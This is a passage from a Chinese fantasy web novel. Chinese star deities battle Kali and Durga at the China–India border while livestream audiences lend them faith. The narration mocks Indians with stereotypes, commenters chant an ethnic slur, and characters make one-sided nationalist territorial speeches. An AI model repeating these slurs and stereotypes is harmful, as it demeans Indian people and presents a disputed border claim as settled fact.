边境死了人? 那可太好啦! 正愁没有正大光明谴责,然后出兵的理由呢! 前线小队以极快的速度赶到边境,对尸体进行检查,然后,法医沉默了。 所有人的致命伤,都是被野兽抓咬咬所致。 从齿痕和爪印来看,应该是某种大型猫科动物,比雪豹云豹都要大,那就只有虎了。 这一带确实有老虎,生活于印度次大陆的孟加拉虎,数量还不少。 但是,从死亡时间看,这些人是同时毙命,这得是多少只虎同时出现才能造成这样的伤亡数量? 治安官已经问了一百多个村民,他们居然对昨天晚上的事情一无所知。 至于他们的脚上为什么沾着带血的泥,他们完全无法解释。 他们只记得自己晚上睡觉,眼睛一睁,天就亮了,睡得挺好。 现在问题大了,先头部队赶来是想找中方动手的证据,但根据现有的证据看,更像是本地人因为某种原因半夜互殴,其中一方驱赶着几百只老虎,对着另一方疯狂屠杀。 这跟他们的梦想差距也太大了。 让他们重拾信心的是迦梨女神的神像,它碎了。 当地人再怎么彼此有仇,互相看不顺眼,信奉的神明是一样的,任何一方都不可能对迦梨女神不敬,把神像打碎在地。 于是,他们经过仔细调查,谨慎推理得出结论,是中国方面带着一百多只老虎跨过边线,使用化学武器,让人失去神智,还推倒迦梨女神的神像,以此向印方示威。 “一百多只老虎?”接到印方强烈抗议的墨脱林业部门领导都傻了。 他是土生土长的本地人,从小在这长大,也就巡林的时候,曾经见过大虎带小虎出来玩,加在一起就三只。 曾有专家来调查过,说整个墨脱境内的孟加拉虎可能有四十只左右,而且它们还经常跑到对面去待着,常驻虎口连十只都不到。 一百只! 那是什么概念! 印方为了证明他们不是胡说,还放出了照片,照片十分模糊,据说是村子里的人冒死偷拍的,光线不好,不过大致轮廓挺清楚。 照片上的中方个个……骑着老虎。 虎也不知道什么品种,那个头,到人的肩膀,那肌肉,就像是吃了类固醇的健美男。 孟加拉虎从小开始举铁、吃蛋白粉、打类固醇也达不成那效果啊! 这支队伍还扛着一面旗子,旗子从斜对角拉出一条线,一半白一半雪青,正中间是一个圆圈,圆圈中间印着虎头。 圆圈两边用中文写着优胜,下面是四个……朝鲜文??? 坐在一旁做记录的文书推了推眼镜,伸长了脖子:“这旗……” 印方代表气焰嚣张:“是有人拍到的!怎么,想不认账?!” 文书压低声音对参水猿说:“师长……这旗子我见过。” 参水猿闭了闭眼睛:“……我也见过。” 负责翻译工作的女翻译:“那虎也有点眼熟。” 文书拿出手机,很快就搜出一张图,与印方照片里的那面旗帜一模一样。 那是在抗美援朝时期,中国人民志愿军缴获的白虎团的团旗,现在在中国人民革命军事博物馆里放着。 女翻译则盯着照片,发现打头那个抓着旗子的人,手指头是六个。 她使用拍照搜索功能,找到了好几个气质相近的照片,都是AI生成的,一般使用场景是配洪荒小说,主要是黄帝和蚩尤大战中的蚩尤形象。 素材可能是同一个AI吐出来的,所有骑虎者的手指,都是六根。 双方就照片是AI作画的问题,进行反复拉扯和纠缠。 印方坚称那些老虎是中国边防为了“不先打第一枪”而专门饲养的老虎,至于虎那异常强壮高大的身材,自然是用药加宇宙射线的功劳。 印方收到了来自黑客的消息,技术一流的印度黑客黑进了玉兔一号月球车,发现中国人不仅在月球背面种地!还养了很多变异动物! 连饲养方法他们都替中方想好了:中方偷偷弄了一批印度人的衣服,穿在假人身上,以此来训练老虎咬人。 玉兔一号,早在几年前就因为走得太快,在石头上磕坏了电缆,停止工作了。 一两个破绽,还能较较真,撕扯一番。 这全身都是破绽,让人连解释和吐槽的欲望都没有。 本来,亲自见证了整场事件的参水猿听说印方郑重提出抗议,而且还有证据,他如临大敌,生怕对方真的有什么手段,或是拿到了间谍卫星的资料,或是有拍到照片或视频。 就算不是军队越境,发生了这么严重的超自然事件,哨兵没有赶到,也是要受处分的。 结果……就这? 简直比讨论航天飞机是用无烟煤还是水洗煤一样无厘头,参水猿都懒得跟他们再多掰扯,他站起身:“我们没做就是没做,如果你们不服,尽管拿着这些照片去联合国告!” 说罢转身就走,多给他们一个眼神都是给他们脸了。 这件事登上了新闻,中国网友看了也就是当个乐子哈哈一笑,还有在底下玩梗的。 “对,我家就有这种老虎,平时上班都骑它。” “看你的IP,你出门不是应该骑熊猫吗?” “熊猫给我女儿骑了。” “我得给我们家的东北虎说说,整天就吃了睡,睡了吃,看人家这身材!!它好歹也是俄罗斯血统,东北纯爷们儿,怎么肥得像猪一样!” …… 会谈谈崩了以后,印度方面也没什么动静,可能他们也觉得这几张AI照片的质量实在拿不出手。 参水猿根据李寅寅的提示,对墨脱全境进行排查,寻找那六个日本人的下落,始终没有找到。 “说不定已经离开了。”参水猿拿着结果,向李寅寅汇报。 “不,他们还没有达成目标,不会轻易离开。” 参水猿不解:“他们的目标是什么?” “他们那天在六芒星中做人祭,他们是想通过怨气寻找传说中的地球轴心。” 参水猿一怔:“那不是已经被证伪了吗?” 纳粹曾在1938年和1943年,两次率探险队来到西藏,就是为了寻找传说中的香巴拉。 所谓的香巴拉,是1933年出版的一本小说《消失的地平线》里的一个地方,讲述几个人在香巴拉这个地方发生的神妙故事。 以及,希特勒相信,亚特兰蒂斯是因大洪水而沉没,沉没的时候,有一支后裔逃向世界屋脊,那是高贵的种族,也是雅利安的祖先。 他们掌握着地球轴心的秘密,而这个秘密,可以让人长生不死。 李寅寅摇摇头:“不能说是证伪,只能说是没找着。格萨尔王的史诗中,有他与冰川魔国的战斗故事。那个魔国,也许就是他们想要找的东西。” 她顿了顿:“从长诗里那些对魔国的描述,那可能是一个在人神混居时留在地面的魔族,后来颛顼帝砍断建木,绝地天通,从此人间与天庭之间,只有精神体可以往来,灵魂可以上,神仙以元神状态可以下。哼,1840年之后,连精神体都不能往来了,可恶。” 参水猿问道:“连您也没有亲眼见过他们?” “没事谁来这啊,饭都煮不熟,还会高原反应,又远又穷,汉朝管这叫‘绝域’,不在中原王朝的版图之内,我没事看别人的领土干什么,也就护送文成公主入藏的时候来过一次,那会儿哪还有魔国,早凉了。” 参水猿:“如果魔国真的那么厉害,为什么会没有占领这片土地,而是输给了人类?” “谁知道,也许他们只是搬家了,去了其他维度,也许他们只是来不及进化,输给了大自然。西藏原来是海底,生活在深海里的带鱼拎出来都出水即死呢。他们也许苟在山洞里,偶尔凭借着那口妖气出来偷牛羊吃,然后被格萨尔王的找出来,砍瓜切菜。” 李寅寅比划了一个砍人头的动作。 参水猿莫名地对这个魔国产生了同情,有强大的魔力,只能出来偷牛羊吃,想想就好惨,堪比皇上拿着金锄头耕地。 “九菊一派一向追求的是至高力量,来找魔国遗址,也很合理。一般这种地方,都会留点资料,说说力量来源什么的。” 李寅寅忽然笑起来:“要是魔国人是外星人,他们离开只是回母星,或者成片死于地球上的病毒,那就有意思了。” 参水猿给出中肯评价:“听起来像国产恐怖片的结尾。” “他们的力量不足以找到魔国的旧址,所以才想借用灭世女神的黑暗力量,他们不是想要挑起边境战争,只是让迦梨和难近母使用魔力,他们跟着吸点,昨天打得那么刺激,估计他们应该已经找到地方了。” 但是他们留下的烂摊子,还得收拾。 昨天李寅寅跟迦梨和难近母打成那样,还弄死了不少她们的信徒。 神明不得擅过国界,那是指普通神。 主神不受限制,不然蟠桃宴都开不成。 不巧的是,迦梨和难近母就是主神化身。 “我估计着,她们收拾收拾就该来了。”李寅寅起身,发现道士站在门口,旁边站着垂头丧气的苑雪。 道士的表情非常激动:“原来你们是真有本事的!” “我们本来就有本事啊,不然也不能不用上班,有钱出来到处旅游。”要寅寅装傻。 道士的眼神放光:“我说的不是这个意思!你会变身,还会打妖怪!” 李寅寅缓缓将头转向苑雪,苑雪尴尬地缩着脖子,低着头:“我拍了视频,刚才看的时候,被他看到了,他问我……我不会说谎……” 昨天晚上,苑雪一直被保护的很好,虽然在险境之中,但她一点害怕都没有,反倒像进了深度沉浸式体验的游乐园。 她看到李寅寅化出一身盔甲,以一人之力挡住整个难近母军团,觉得非常帅。 于是,拿出手机,把一整段的视频都拍下来了。 刚刚她在看视频回味,被道士发现,道士亲眼看见李寅寅挥着银枪,跟长着十条胳膊的难近母们打得有来有回,还有浮在半空中的迦梨女神,还有下面那几千个打坐念经的人。 李寅寅继续装傻:“是电脑特效。” 道士急赤白脸,语速飞快:“咱们都这么熟了,何必拿我当外人。看环境,就是这里,咱们到这才几天呐!就算是前天晚上拍的,一天功夫,哪里就能做出这么好的特效?别骗我啦,我在找不到工作的时候,也是学过一段时间后期制作的。 这样的效果,就算是好莱坞的团队,用非编机,也得好几天。” 这是遇上专业人士了。 李寅寅也不想再继续编故事,正色道:“这种非自然的力量,不是你能应对的,不告诉你,也是为了你好。” “我知道,我没什么大本事,但是,你们上次在洞天福地也看到了,我能赶走鬼魂!” 岂止是没大本事,除了画的净魔符稍稍有那么一点用之外,别的本事是真的一点都没有啊。 苑雪低低哼唧了一句:“那也不是你赶的……是寅寅姐姐赶的……” “什么?”道士震惊,他是真心认为是自己驱散了那些日本人的鬼魂,如今骤然得知真相,不由得愣在当场。 李寅寅瞪了苑雪一眼:“不会说谎,也可以不说话!” 刚好苏灵衣开门出来,苑雪吓得闪身藏到苏灵衣身后。 苏灵衣完整地捕捉到道士的激动、李寅寅的白眼,还有苑雪的怂和她的手机。 他飞快在脑海里拼出了整件事的核心:道士看苑雪拍的东西,知道昨天的事了。 苏灵衣认真看着道士:“你的法力确实不够,掺与这事只会有危险,我们还要分心去保护你。” “我……”道士犹豫片刻,终于吐出一句话:“真的一点法力都没有,遇到的灵异事件只是偶然发生的意外,或是你们帮我的吗?” 看他的样子,只要李寅寅说一声“是”,他就要碎掉,对自己这三十年的人生产生怀疑。 “那倒也不是。”李寅寅说,“起码你的净魔符是真的有用。” 苑雪从苏灵衣身后探出头来:“对对对!” 李寅寅:“你是从哪学来的?” “是我在……在直播间学的。”道士说的时候都心虚。 他随便挑了一个玄学类,人气最高的直播间,想学习一下玄学类主播是怎么起量的,正好看到主播在画符。 当时,他心里只觉得这符好看,不由自主地就学会了。 “看来那个主播是真有本事,你要不问问他有没有可能收你为徒?”苏灵衣积极出主意想办法,尽量给道士指条明路,最大限度减少他的失落与沮丧。 道士以为这是在敷衍他,怏怏地点了点头。 李寅寅忽然又说:“哪个直播间?我也要看。” 道士拿出手机,现在是早上五点,正常直播间里鬼都没有,这个人的直播间却还是热闹非凡,不是这个要算职场,就是那个要问跟对象的情缘,也有来问明天彩票号码的。 只见那个穿着灰袍,脑袋边上挂着玄明子的道士懒懒一笑:“我只算天定的事,不算人定的事。” 水友:“彩票还不是天定?” 下面马上就有嘲笑他:“都多大人了,还信彩票是天定,七星彩的号码球都能悬浮在空中,你不会真信那是静电吧。” 水友:“那股票呢?明天有哪个股票一定会涨停。” 下面更是成排的“哈哈哈哈哈” “不是,兄弟,大A的哪个涨停股票不是有庄家和游资操纵啊?” “管理员,能不能把这货踢出去,耽误我们这些真要看事的人!” 玄明子歪头看了一眼手机:“要看事的朋友排队啊,现在已经排到七百三十号,请大家耐心等候。” 李寅寅用道士的手机发了一句:“我能插队吗?” 在屏幕上很快被刷过去了,但被主播读了出来:“能插队吗?抱歉,不能啊,其他施主已经等了很久了。” “插队?什么人啊,素质真差!” “我们排好久了。” 忽然,屏幕上绽放几个大烟花。 系统提示【游客924637打赏十个嘉年华】 十个嘉年华,就是三万人民币。 玄明子在直播间里帮人看个事,算个姻缘,也就收个88块钱的结缘费。 不等李寅寅在直播间里再问能不能插队,玄明子的私聊就来了:“您是有什么特别要紧的事要问吗?” “对,见面详谈。” 玄明子对着摄像头笑着说了句:“对不起,今天有点事,提前下播,今天晚上七点半,我准时上,加紧给大家看事!抱歉抱歉!” 说着,屏幕就黑了。 等了很久的水友们骂骂咧咧,但也没有办法,他们知道道士肯定是跟着那个打赏了十个嘉年华的榜一大佬走了。 爱他,就给他打赏,他们这些等着免费看事的人,还能说什么呢。 这边玄明子刚告诉李寅寅自己的地址,就听见房门被人敲响了。 打开门一看,正是李寅寅,他大为惊讶:“怎么来得这么快?” 李寅寅扫了一眼,心里有些失望,此人虽有那么一些神通,但也只是一些神通,离她需要的高人还有很长一段距离,但是他有优势,关注他的人数有一百多万,中间一定不乏信他信得死心塌地的铁粉。 “不好意思,我就是游客924637,急着过来,是想跟你谈一个合作,不过在此之前,我想问问,你的活跃粉丝数量到底是多少。” 玄明子一听,知道来了懂行的,报了个差不多的实数。 名头上挂着的有一百多万粉,每次直播活跃粉丝在一万多,七日内会来一次的活粉有二十多万,一个月会来一次的有六十多万。 “你要是提前预告,能来多少?” 玄明子想了想:“可能……三十万?” 李寅寅点点头:“我看了你前几期的直播,你确实有些真本事,现在我想知道一件事,你真的相信世上有神存在吗?” “我只相信有超自然的力量,至于它是叫神,还是叫魔,就看如何显化。”玄明子回答地斩钉截铁,开玩笑,万一李寅寅是对家派来的探子,身上藏着录音笔呢。 说不信,他人设崩塌。 说信,那是封建迷信,万一哪天搞他一下。 说超自然的力量,谁也拿他没办法。 “那就好,你现在能不能提前预告一下,今天晚上做直播,不帮人算命看事,让他们亲眼看你斩妖除魔,给你点点免费红心助力就行。我另外给你三十万。” 玄明子虽然不明白这是什么套路,但是三十万耶!他给那些水友免费看事,一晚上也收不到多少钱,偶尔有个帮人看宅子的大活,也就三五万。 他也不想鸽了那730个人,但是,她给的实在太多了。 事实证明,是他想多了,预告一发出,大家更兴奋了,在网上看事算命的人就没几个是特别着急的,多是“闲着也是闲着”的寻个乐子。 有斩妖除魔表演,那不是更带劲了! 第78章 昆仑 极西星海之下,有一片被雪山环绕着的绿色盆地。 谷中鲜花盛开,群鸟翔鸣,正中有一汪清泉,环绕清泉是三座以黄金装饰的平台,平台之上又各自矗立着以玉石修砌的高楼。 正东之楼名为昆仑宫,宫门口的金阶上,一只圆滚滚的藏狐俯身跪拜。 在他身旁,有众多衣着轻薄,衣袂飘飘,如同踏风而行的仙娥仕女,她们或捧金果盘,或执异香扑鼻的异花,各司其职,竟无人看他一眼。 许久之后,自昆仑宫中,才走出一个身着翠羽衣的女仙,她望着苏灵衣:“几千年不见,你竟还没有脱胎换骨?” 苏灵衣低头:“是,弟子愚钝,修行迟缓。” 女仙平静地望着他:“今日你来是想做什么?” “弟子想乞九凤丹。” 女仙微露笑意:“当初你不是说,修行要凭自己本事,绝不用药力提升么?你转身离开玉京城的样子很潇洒,我们都等着你得证大道,以金仙之身归来呢。” 苏灵衣低声下气:“是弟子错了,年少无知。” “按说你当日也是被娘娘抱回来的,九凤丹有你一颗,只是,你当日自己放弃,本属于你的那一枚丹药,已经被娘娘赠予了后羿,如今服了药的人在月亮上面呢。” 苏灵衣:“求青鸟姐姐想想办法,能不能先借用一枚。” 昆仑宫中的丹室里自然是有存货,这一点,他最清楚不过。 青鸟女仙:“借用?你知道规矩吗?” 苏灵衣坚定回答:“知道。” 不就是又要在丹室里卖身一万年嘛,又不是没干过,虽然那个苦日子他确实不想再体会一次了,不过…… 青鸟女仙:“你真的决定了吗?” “是。” “我不明白,你要九凤丹,是为了提升法力。然后,你顶着强大的法力……回来烧一万年的火???” 青鸟是真不明白,凡人吃了九凤丹,就能达到太乙散仙的境界,恒娥一介凡人,直接飞升至月亮,还能凭一己之力修筑广寒宫。 苏灵衣是已经开了灵智,还在昆仑宫修行过两千年的狐。 要是吃了九凤丹,其法力绝对可以碾压当初连姜子牙都弄不死的妲己,只怕连青龙七宿中的心月狐都胜不了他。 当年他不愿意接受西王母的条件:吃了药,就下凡引发大洪水,灭绝人类。 引发大洪水不就是一两天的事么,不比在丹室里苦熬一万年容易? 当时不答应,今天却又跑回来了。 见青鸟女仙迟迟不答话,苏灵衣抬头看着她,眼里满是哀求:“求求你了,姐姐一直最疼我,求求。” “你也知道我最疼你!我举荐你去引发洪水,好挣功德升高位,你呢?跑了!”青鸟想到往事,便气不打一处来。 当初就是被这只狐狸哀怨、厌世的小可怜样给戳中了心,觉得他不如其他狐狸漂亮,必然在狐群里受到百般欺凌,才会一身是伤的逃到昆仑山来。 西王母也觉得他有趣,将他养在白玉京,对他娇惯非常,他也不骄横,反倒整天嘴巴甜甜,姐姐长姐姐短。 谁能想到啊! 那只看起来软萌无害,没什么主见的狐狸, 第1回 有主见,就放了大招。 临走的时候,这只死狐狸还跟她说,他一定会在外面混出个样子来,然后回来,让大家知道她没有推荐错人选,只是他自己不愿意而已。 结果……就这? 回来连太乙散仙的实力都没有,还要讨当初他超~~级看不起的仙药。 当初青鸟见他时,是八千年前,那时她还是一只脾气很大的小鸟。 如今,早已是修成正果的仙子,西王母座下三信使之一,不怒不喜,不嗔不怨。 结果,见了苏灵衣,被压在心底八千年的旧恨翻起波浪,青鸟又想起当初被他气哭,三天没出来见人。 她今天故意晾了他在门外跪了四个小时,结果他居然还不走,死皮赖脸地哀求。 真是,仙术境界没有一点进展,撒娇装可怜的段数比当年高出不少。 纯狐族都教了他什么玩意儿! 青鸟冷着脸,拿出一只小小的玉盒,递给苏灵衣:“记着,这是你自己求的,明年秋分之前,你必须回来,否则,你知道是什么下场。” “是。”苏灵衣接了玉盒,向青鸟磕了三个头,转身,一溜烟地就跑没影了。 西王母座下另一信使大鵹自屋内走出我,看着苏灵衣的背影:“你又心软了。” “我不是,我没有,别乱说!”青鸟涨红着脸,“再跪下去,众仙就要回来了,再让他们看到他,肯定还得指指点点一番,我还得再丢一次脸。” 天空中飞来一只赤首黑目全身翠羽的鸟,是第三位信使少鵹,她收拢翅膀,化为人形:“咦,我刚才看到……” “别说了!”青鸟捂住耳朵,“你什么都没有看见,幻觉,都是幻觉。” 少鵹:“……哦……” 宾馆里,苑雪在直播平台也开了一个号,向道士学习怎么搞直播:“我的庙也是有信众嘎,我可以叫他们也来帮忙民!” 道士已经见过她那庙的照片了,就那台阶上的青苔厚度,就那庭院里门可罗雀的状态,要啥没啥,能帮多少忙。 苑雪不服气:“我不行,但是宝言老师的面子很大嘎,肯定有人愿意支持。” 见她如此坚持,反正也没什么技术难度,道士便教她了。 注册好了账号,苑雪把巫履给她的通讯录打开,挨个发消息,请他们晚上参加斩妖祈福的祭典。 曾经跟巫履打过交道的艺人们纷纷表示:就算今天晚上要赶通告,要拍片,他们也表示一定会支持。 这可是宝言老师。 虽然并不是人人都受过他的法力加持,受过加持的人也并不是个个都拿过经典大奖。 但是得罪宝言老师的人,确实全都花式翻车,从此在娱乐圈查无此人。 谁都不想当《睡美人》里的国王,漏请了第十三个会诅咒的女巫,整个王国进度条直接被锁了一百年。 天一点一点的黑了下来,满天星光闪烁。 夜晚,总是与恐惧连在一起。 代表着血腥厮杀的李寅寅和代表着毁灭的迦梨,心照不宣地选择了晚上,做为决战的时间。 时间差不多了,李寅寅已经感觉到来自实控线那一边的力量在躁动。 是迦梨女神在招唤着她的信徒,用虔诚的信念供养着她,为她提供源源不断的强大力量。 李寅寅已经计算过,自己现在的力量比迦梨女神要差一大截,需要有二十倍于迦梨女神的信众,才能压得过她。 昨天迦梨女神的信徒大约有一千多人,被她咬死了一半还要多。 就算印度一辆摩托车上能超载一百人,就他们那半边的垃圾路况,到开打的时候,他们撑死搞来一万人。 玄明子是个懂营销的,他为了提高今晚直播间的观看数量,还搞了抽奖,抽奖方式包括但不仅限于:介绍朋友来看、保持一直在线。 送的都是平时要卖一两百块钱的符咒和法器,当然,这笔费用,李寅寅已经承诺,她会出。 如今,预约直播的人已经有二十万人。 苑雪那边的人只有六百多个,道士的直播间里有十几个在线观看人数, 不过,打仗总是多多益善的。 “你们看到苏灵衣了吗?”李寅寅问道,一整天都没看到他了,手机也放在房间里。 要不是知道他的实力,李寅寅几乎要以为他是不是被谁家绑去做赘婿了。 实控线那边的力量躁动越来越厉害,李寅寅又等了一分钟:“算了,不等他了。” 正要出发,苏灵衣的房门忽然开了,他一手托着白玉盒,另一只手拿着水杯跑出来:“先把这药吃了。” 李寅寅顿住:“什么药?” “能提升法力的!至少能让你与迦梨打个平手。”苏灵衣催促道,“快吃。” 李寅寅对自己跟迦梨女神之间的差距有着相当清醒的认识。 给士兵安慰剂的手段,她自己都用过,随便给人弄点草叶子嚼,说这能提升幸运和力量,让本来胆怯的士兵,自信心爆棚,嗷嗷地往上冲。 她怀疑地看着装在白玉盒里的黑色药丸:“这不会是麦丽素吧?我不用安慰剂。” “这是西王母炼的九凤丹!嫦娥奔月吃的就是它!真的!” 看着苏灵衣急切地样子,李寅寅皱起眉头:“你这不会是在什么电视购物上买的吧?花了多少钱?赶紧退掉。” 李寅寅坚信他是被骗了。 这年头的大数据厉害着呢,只要搜过稍稍有点相关的,就会被推送各种各样一眼假的广告。 如果是平常,苏灵衣肯定不会上当。 不过今天,苏灵衣知道自己与迦梨和难近母军团的实力差距,不管怎么说,他对自己还是在意的,难保不会上当。 就像笃信科学的医学界大佬,一生不信神药、偏方、求神问卜。 到亲人身染重病时,扒着报纸的中缝找仙方,被骗几万也只求一个“万一”。 苏灵衣执着的不肯把手放下,李寅寅劝他赶紧去退,要是对方不肯退,就打12315投诉。 “不能退!我……”苏灵衣咬咬牙,“我是在路边的流动摊那买的!我看着她卖的药,让……让一个不识字的孩子能背诗了。” 李寅寅:“!!!” 不是,他这是疯了吧?这当也能上? “反正,肯定退不了了,我刚才刮下来一点药粉吃了,没事,肯定不会有害,万一,真的有效呢?!”苏灵衣的音调里满是乞求,他现在脑海里不时浮现出李寅寅那天一身是血的样子,他知道,在纱布包裹之下的伤口还在流血。 他即治不了伤,也不能替她出征,甚至连与她并肩作战的资格都没有,他不出去碍事绊脚,就已经是对李寅寅最大的帮助了。 见苏灵衣还执着地挡在面前,李寅寅摇摇头:“哎,算了,既然不能退就吃吧。” 她拿起九凤丹作势要吃,苏灵衣松了一口气,忽然,他的下巴被李寅寅捏住,硬生生掰开,九凤丹被硬塞进嘴里,打了个滚,便进了肚子。 李寅寅笑道:“要是增加法力的话,你吃了比我吃有用,我把小师父、苑雪、还有我那只大猴子啊,都拜托给你了,要是我有什么闪失,你一定得护他们周全。” 苏灵衣瞪大眼睛捂着喉咙,仙药入喉即化,根本来不及吐出来。 “走啦!”李寅寅一声招呼,缩地成寸,众人耳旁生风,转眼间,已经到了中印实际控制线。 参水猿已经在这里了。 “据我的判断,今晚可能还会有操纵当地人的身体冲卡的情况发生,我已经安排人守着了。” 李寅寅叹了口气:“何必守着,又不能开第一枪,白白气得要死,还不如你带着你的一百只老虎团在这里蹲呢。” “……呵呵呵……星君也知道了?” “那当然,我也是上网的。” 参水猿向身后指了指:“我还帮你找了二十几个活佛,都是民宗委审批通过、合法转世的,他们应该比普通信众的力量更强大一些。” 在林中暗处,有一群身披袈裟,头戴法帽的人坐在那里。 有人戴着圆形尖顶,垂着两条延边的班智达帽,有人戴着帽顶微弧,帽檐上翻,前端开口的莲花帽,有人戴着如西游记里唐僧的五僧帽。 李寅寅低声道:“你这是把宁玛派,萨迦派,噶举派,格鲁派全给请来了?” 参水猿应道:“是,属下不知道哪一派的战斗力更强,就全请来了。” 很好很好,这是饱和式救援啊。 此时,印控区域内的地面也是黑压压一片,地上坐满了人,他们如同有人在统一调度安排一样,齐齐向新造的迦梨女神神像献香贡花,虔诚下拜。 “速度真快,居然这么快就弄了个新的。”李寅寅微微闭目,感受对面的气场流动,再睁开眼睛,淡然一笑:“哟,来了一万五千多人,我小看他们了。” 大约,也就这一万五千人了吧。 天都黑了,印方虽然过来容易,但是,他们的交通工具堪忧,路况也堪忧,就算日本人帮他们,又能运来几个人,根本不足为惧。 当新月升上山巅时,印控区那里动了。 迦梨女神的身体缓缓从神像中飘出来,升上半空,俯瞰着她的信徒。 信徒们眼见着自己信奉的女神人间显圣,顿时陷入狂欢状态。 他们中的大多数人拜了一辈子的神,只是期待神明能让他的生活稍稍舒服一点,保佑他下辈子能投到一个好人家。 从来没想过,这一世就能亲眼看见神。 那一刻,他们的虔诚之心升至顶端。 一个声音在他们脑海中响起:“拿起武器吧!向前!那本是属于你们的领土,你们的家园!是他们强占了千年!是时候了!” 一万五千多的信徒站起身,拿起手边的武器,缓缓向边境走去。 参水猿拿起通讯器:“有约一万五千人向边境集结!各部准备迎战!” 说是迎战,但依旧不能开第一枪,别说对方是平民,并且手里拿的是石头、木棍、铁棒,就算对方是穿军装的在编人员,并且手里拿着枪,只要他的枪不响,这边就不能开枪。 此时,已经有几百人跨过实控线,与巡逻边防军短兵相接。 对方人太多了,又悍不畏死,根本不在乎鸣枪示警。 参水猿看着这一切,脑海中闪过那位副营长中枪倒下的身体,他咬紧牙,一声长啸,在山中回荡。 山林中像亮灯一样,亮起了一双又一双的眼睛:绿的、黄的……它们是参水猿从印方的栽赃里获得的灵感,他提前安排了动物军团: 一百多只雪豹、两百多只野牦牛、五十只棕熊、六十多匹狼,以及七十多只孟加拉虎……其中有六十只是他化做巨猿,偷偷跨过实际控制线,生拉硬拽,保证包吃包住给弄回来的。 “怎么还有几只胖得像球一样的狼?”李寅寅从未想过,野狼居然可以肥成那样,这不科学! “它们是我从可可西里的国道边捡到的,就顺便一起带回来了。”参水猿飞快地解释道,紧接着,它将自己的精神附在这些动物身上,指挥它们向前冲锋,将那些被控制的印度人赶回去。 迦梨女神见自己的狂信徒们前进脚步受阻,便招唤出难近母军团,她们挥动武器,刀风扫向那些动物,天性中对强大对手的服从,让动物军团们伏下身子,不敢再战。 “欺负小动物算什么本事,你的对手是我。”李寅寅亮出身着银白盔甲的法象,站在难近母军团的面前。 她身上透出的血气,被迦梨捕捉到,迦梨冷笑道:“你的伤还没有好,也敢来送死?” 李寅寅从容一笑:“不带伤打不出效果,带伤才伤害翻倍呢。没听说过烧血加攻吗?” 在她身后,苑雪、道士都打开了直播,备用手机上也登上了玄明子的直播间。 苑雪这边来了一千多人。 道士这边虽然只有二十多,不过增涨速度比他平时直播时候涨的快多了。 玄明子的直播间观看人数几乎是一瞬间就超过了五万。 视频里明明白白的拍出了迦梨女神、难近母,以及与她们对峙的李寅寅。 水友们沸腾了:“卧槽,这也太真了吧!” “就是真的吧!” “幸好顶着晚自习的压力也来看,没白来!” “你们是不是傻,哪有真的神能被拍到的,肯定是假的。” “朕何尝不知道这是假的,只要肯为朕花心思就好。” “就是,我是学动画的,学了三年,都没这几个做的好。” “我是做后期特效的,大师,能不能收我为徒!” …… 道士的粉丝不多,但到底也是练出来了,他知道不能就把手机这么放着,看得人莫名其妙,也不知道代入哪一方。 道士清了清嗓子:“现在我们是在西藏的南边,大家看看手上的地图,墨脱往南,是不是还有一大片是我们的?告诉大家一个不幸的消息,印度人在1960年占了藏南,就再也没有还过!至今,仍有七万平方公里的土地上住着印度人。他们不仅不离开,而且还总想进一步!大家不记得1962、不记得1987,都没有关系!还记得洞朗吗!还记得我们牺牲的战士们吗……” 道士将摄像头调整,对着半空:“那边长着四条胳膊的是印度教的主神,代表着毁灭的迦梨,下面长着十条胳膊的是难近母,是他们的战神。这边穿着白色盔甲的,是我们华夏战神,西极白虎星君。” “神明的力量完全来自于人类信仰的强度,如今印度人依旧时常祭祀迦梨女神,还有专门的节日,可是看中国,还有多少人会祭拜白虎星君?” 道士说得都是真话,可是,评论区里还是嘻嘻哈哈,大家都当这是一个相当出色的实景加3D特效视频,整活嘛、拉活跃度和在线人数嘛,大家都懂的,不会有人真情实感。 那边李寅寅已经与迦梨动手了,直播间里的人虽多,却都在指指点点画风、色彩、打光和建模,人均特效大师、后期动画专业户。 道士是真没办法了,他也不知道应该说什么,才能让这些人愿意真心的为李寅寅祈祷鼓劲。 “我真没用,还不如挖肾小说的男主角能引起他们的情绪。”道士垂头丧气。 苏灵衣做了个口形:“我来试试。” 他走到三个摄像头面前:“各位家人们各位同胞们,其实白虎只是一个象征,象征着无数为了反对内外敌人,争取民族独立和人民自由幸福的英雄们!中华民族走到今天,不容易啊!你们还记得虎门销烟吗?你们还记得两次鸦片战争吗?你们还记得大喊着撞沉吉野的吉鸿昌吗!……” 李寅寅正在与难近母军团缠斗,听见苏灵衣这么说,觉得有些好笑,百忙之中喊了一声:“光喊口号是不会有效果的啦。” 她还有些奇怪,前天跟难近母军团打的时候,明显自己落下风,怎么今天反倒轻松非常,总不能真的是“烧血加攻”吧,她又不是游戏角色。 也许苏灵衣在路边摊买的香甜丸子真的有效? 李寅寅不由得信心满满:既然打得这么轻松,不如一会儿把难近母和迦梨一波送走,然后今天晚上平推藏南,把这些户籍不对的人都赶回他们老家去,大不了一路送他们直入新德里。 果然,FLAG不能乱立,就算是神也不能。 李寅寅忽然觉得压力陡增,难近母军团变强了。 那一万五千人不冲边线了,他们坐下来,开始念经。 在远方的土路上,出现了一条车灯形成的长龙。 那些车是统一品牌统一款式,是一家日本与印度合资汽车公司的产品。 这种车型核载一百人,但是车一停,每辆车上都哗啦啦地跳下了一百八十多人。 那些车来来去去,循环接人,车队跑了几趟,地面上就凭空多出了两万多印度人,他们虔诚地向迦梨女神像跪倒,口中念念有词。 李寅寅的肩头中了难近母一刀,她一步也没有退,而是继续向前迎战。 原先在直播间里还在说笑的水友们开始笑不出来了,也没人说“光太假”“建模太次”了。 他们亲眼看到了印度人是怎么赶来,又是怎么整整齐齐,为他们的神明祈祷的。 不知是谁先发了一句:“阿三滚回去!” 后面立马全都跟上,有人为李寅寅加油,有人诅咒着占领国土的印度人,直播间热度陡增。 现在印度这边的人数约为十万,且没有再增加。 也许是通过电子产品的祈祷在传输途中被电子削弱,也许是被新诞生的电器神给吃了差价。 总之,几个直播间的观看人数加起来已经超过一百多万,但李寅寅这边的压力还是很大,一个不小心,她的身上又中了一刀。 迦梨女神手执两把弯刀,向李寅寅走去:“今晚就由我,赐你毁灭。” 她身上的威压几乎压得李寅寅直不起腰,勉力抓着手中银枪,才支撑着身体。 忽然,她觉得身后有异样,微微侧过头,发现来了一群熟人,是尚有法力在身的青龙星宿尾火虎、心月狐、角木蛟、氐土貉、以及应该在专心赚钱的女土蝠,她身后还有六个人,应该是玄武星宿的全员。 甚至连鬼金羊都来了。 如果是全盛状态,这些星官们加在一起,与迦梨大概能打个五五开。 